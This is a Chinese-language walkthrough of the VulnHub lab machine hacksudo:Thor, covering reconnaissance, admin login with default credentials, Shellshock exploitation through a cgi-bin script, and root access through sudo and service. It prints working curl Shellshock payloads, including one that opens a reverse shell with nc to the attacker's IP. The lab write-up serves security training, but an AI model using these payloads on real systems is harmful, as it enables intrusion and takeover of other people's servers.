vulnhub之hacksudo:Thor

目录

地址:

一、主机发现

二、端口扫描

三、服务版本发现

四、信息收集

1.页面源码

 2.访问cgi-bin

 五、目录爆破

六、信息收集2

1.README.md

 2.admin_login

 3.index.php/login

 4.网站源码

(1)管理员账户密码

七、登录管理员后台

八、破壳漏洞-突破边界

1.破壳漏洞

2.nmap检测破壳漏洞是否存在

3.利用

 4.尝试反弹shell

 九、提权

1.利用python美化shell

2.sudo -l

3.尝试以thor用户执行

4.执行shell命令并美化

5.找flag

6.sudo -l

7.利用service提权


地址:

https://download.vulnhub.com/hacksudo/hacksudo---Thor.ziphttps://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

一、主机发现

fping -gaq 192.168.43.27/24

g生成一个网段列表

a发现存活主机

q安静模式,不显示扫描过程,只显示结果

二、端口扫描

三、服务版本发现

vulnhub之hacksudo:Thor_第1张图片

四、信息收集

1.页面源码

把所有的页面源码全部查看一遍,可以发现

有一个images的路径,尝试查看,但是对我们突破边界来说没有太多的帮助

vulnhub之hacksudo:Thor_第2张图片

 在注释中可以看到cgi-bin,我们通过搜索可知这是一个目录,也是一个公共网关接口

vulnhub之hacksudo:Thor_第3张图片

 2.访问cgi-bin

出现了403forbidden,证明了这确实存在。

vulnhub之hacksudo:Thor_第4张图片

 五、目录爆破

vulnhub之hacksudo:Thor_第5张图片

六、信息收集2

1.README.md

在查看这个文件时,我们能了解到数据库信息,后端语言,前端语言框架等,还有最重要的一条这个应用在利用了github上的开源代码。

vulnhub之hacksudo:Thor_第6张图片

 2.admin_login

是一个登录框

vulnhub之hacksudo:Thor_第7张图片

 3.index.php/login

也是个登录框,有句话和张图片

vulnhub之hacksudo:Thor_第8张图片

 4.网站源码

(1)管理员账户密码

可以看到默认的密码和用户名,尝试去登录,可惜两个登录框都不行。但是admin_login我们成功的登录进去了。

vulnhub之hacksudo:Thor_第9张图片

七、登录管理员后台

在管理员后台,我们可以找到用户的个人信息,也存在sql注入,但是呢这些并不足以让我们突破边界。

vulnhub之hacksudo:Thor_第10张图片

八、破壳漏洞-突破边界

1.破壳漏洞

破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。

但是呢,我们有登录不到shell怎么执行捏,但是cgi-bin为我们搭建了一个前往shell的通路。

2.nmap检测破壳漏洞是否存在

状态存在漏洞可利用,漏洞编号都有。

vulnhub之hacksudo:Thor_第11张图片

3.利用

定义的环境变量有函数的话,环境变量会把字符串解析为函数,在shell中执行,但在函数结束后,没有退出bash,而是继续执行后边的命令。

这里用curl工具-H参数自定义请求头部内容,为什么要把注入payload写入user-agent中,因为对于HTTP头部,CGI脚本解析器会将其当作环境变量,调用bash的env相关函数设置到临时环境变量中;

curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id" \http://192.168.43.156/cgi-bin/shell.sh

 4.尝试反弹shell

curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/bash -c ' nc -e /bin/bash 192.168.43.27 5555 ' " \http://192.168.43.156/cgi-bin/shell.sh

成功反弹。突破边界

vulnhub之hacksudo:Thor_第12张图片

 九、提权

1.利用python美化shell

python -c "import pty;pty.spawn('/bin/bash')"

还可用:

SHELL=/bin/bash script -q /dev/null

2.sudo -l

查看可以执行的和不能执行的命令。有一个可能运行的指令 ,在其他目录中未发现有用的信息

vulnhub之hacksudo:Thor_第13张图片

3.尝试以thor用户执行

经过测试发现第一个输入框的数据会显示i am $,而第二个可以以thor用户身份来执行命令。

vulnhub之hacksudo:Thor_第14张图片

4.执行shell命令并美化

vulnhub之hacksudo:Thor_第15张图片

SHELL=/bin/bash script -q /dev/null

5.找flag

vulnhub之hacksudo:Thor_第16张图片

6.sudo -l

查看可以执行的指令

vulnhub之hacksudo:Thor_第17张图片

7.利用service提权

说明网站:

https://gtfobins.github.io/gtfobins/service/

vulnhub之hacksudo:Thor_第18张图片

 提权成功,拿到第二个flag   root.txt

vulnhub之hacksudo:Thor_第19张图片

你可能感兴趣的:(Vulnhub,p2p,linux,网络协议)